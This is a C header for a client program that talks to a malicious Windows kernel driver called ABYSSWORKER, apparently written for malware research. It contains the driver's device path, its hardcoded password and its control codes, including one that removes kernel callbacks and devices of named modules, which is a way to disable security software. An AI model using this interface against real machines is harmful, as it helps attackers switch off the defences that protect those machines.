tools/abyssworker/client/main.h (36 lines of code) (raw):

#ifndef MAIN_H #define MAIN_H #include <Windows.h> #include <stdint.h> #include <stdio.h> #include <stdbool.h> #define DEVICE_PATH "\\??\\fqg0Et4KlNt4s1JT" #define PASSWORD L"7N6bCAoECbItsUR5-h4Rp2nkQxybfKb0F-wgbJGHGh20pWUuN1-ZxfXdiOYps6HTp0X" #define IOCTRL_ENABLE 0x222080 #define IOCTRL_LOAD_API 0x2220c0 #define IOCTRL_REMOVE_CALLBACKS_AND_DEVICES_BY_MODULE_NAME 0x222400 #define AM_NAME_LENGTH 256 #define AM_ARRAY_LENGTH 1024 typedef struct _api_mapping { struct { uint64_t rva; char name[AM_NAME_LENGTH]; } array[AM_ARRAY_LENGTH]; uint32_t length; } api_mapping_t; typedef struct _ioctrl_0x222400_msg { wchar_t *target_module; bool remove_or_patch; uint8_t padding_0; bool remove_devices; uint8_t padding_1[5]; } ioctrl_0x222400_msg_t; uint32_t open_device(HANDLE *device); uint32_t malware_enable(HANDLE device); uint32_t malware_load_api(HANDLE device); uint32_t malware_remove_callbacks_and_devices_by_module_name(HANDLE device, wchar_t *target_module, bool remove_or_patch, bool remove_devices); uint32_t send_ioctrl(HANDLE device, uint32_t io_ctrl_code, void *input, uint32_t input_size, void *output, uint32_t output_size); #endif // MAIN_H